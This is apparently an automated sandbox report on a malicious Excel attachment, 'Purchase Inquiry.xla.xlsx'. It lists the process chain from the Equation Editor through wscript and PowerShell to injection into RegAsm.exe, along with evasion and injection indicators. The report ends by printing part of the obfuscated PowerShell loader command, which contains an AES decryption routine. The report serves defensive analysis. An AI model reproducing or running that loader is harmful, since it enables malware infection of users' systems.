              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: Purchase Inquiry.xla.xlsxStream path 'MBD001AB707/Package' entropy: 7.97239478136 (max. 8.0)
              Source: Purchase Inquiry.xla.xlsxStream path 'Workbook' entropy: 7.99932300359 (max. 8.0)
              Source: ~DF9958884E9CE0F332.TMP.0.drStream path 'Package' entropy: 7.96722217742 (max. 8.0)
              Source: 65C30000.0.drStream path 'MBD001AB707/Package' entropy: 7.96722217742 (max. 8.0)
              Source: 65C30000.0.drStream path 'Workbook' entropy: 7.99928531059 (max. 8.0)
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

              Malware Analysis System Evasion

              barindex
              Delayed program exit found
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040F7A7 Sleep,ExitProcess,12_2_0040F7A7
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,12_2_0041A748
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 599672Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2817Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5048Jump to behavior
              Source: C:\Windows\System32\dllhost.exe TID: 2868Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2668Thread sleep time: -300000s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 268Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2964Thread sleep time: -5534023222112862s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2964Thread sleep time: -599672s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2964Thread sleep time: -3000000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3084Thread sleep time: -42000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3152Thread sleep time: -120000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeLast function: Thread delayed
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,12_2_00409253
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,12_2_0041C291
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,12_2_0040C34D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,12_2_00409665
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0044E879 FindFirstFileExA,12_2_0044E879
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,12_2_0040880C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040783C FindFirstFileW,FindNextFileW,12_2_0040783C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,12_2_00419AF5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,12_2_0040BB30
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,12_2_0040BD37
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,12_2_00407C97
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 599672Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeAPI call chain: ExitProcess graph end nodegraph_12-48851
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_004349F9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,12_2_0041CB50
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004432B5 mov eax, dword ptr fs:[00000030h]12_2_004432B5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00412077 GetProcessHeap,HeapFree,12_2_00412077
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00434B47 SetUnhandledExceptionFilter,12_2_00434B47
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_004349F9
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_0043BB22
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,12_2_00434FDC

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Yara detected Powershell download and execute
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1416, type: MEMORYSTR
              Injects a PE file into a foreign processes
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5AJump to behavior
              Writes to foreign memory regions
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 7EFDE008Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe12_2_004120F7
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00419627 mouse_event,12_2_00419627
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 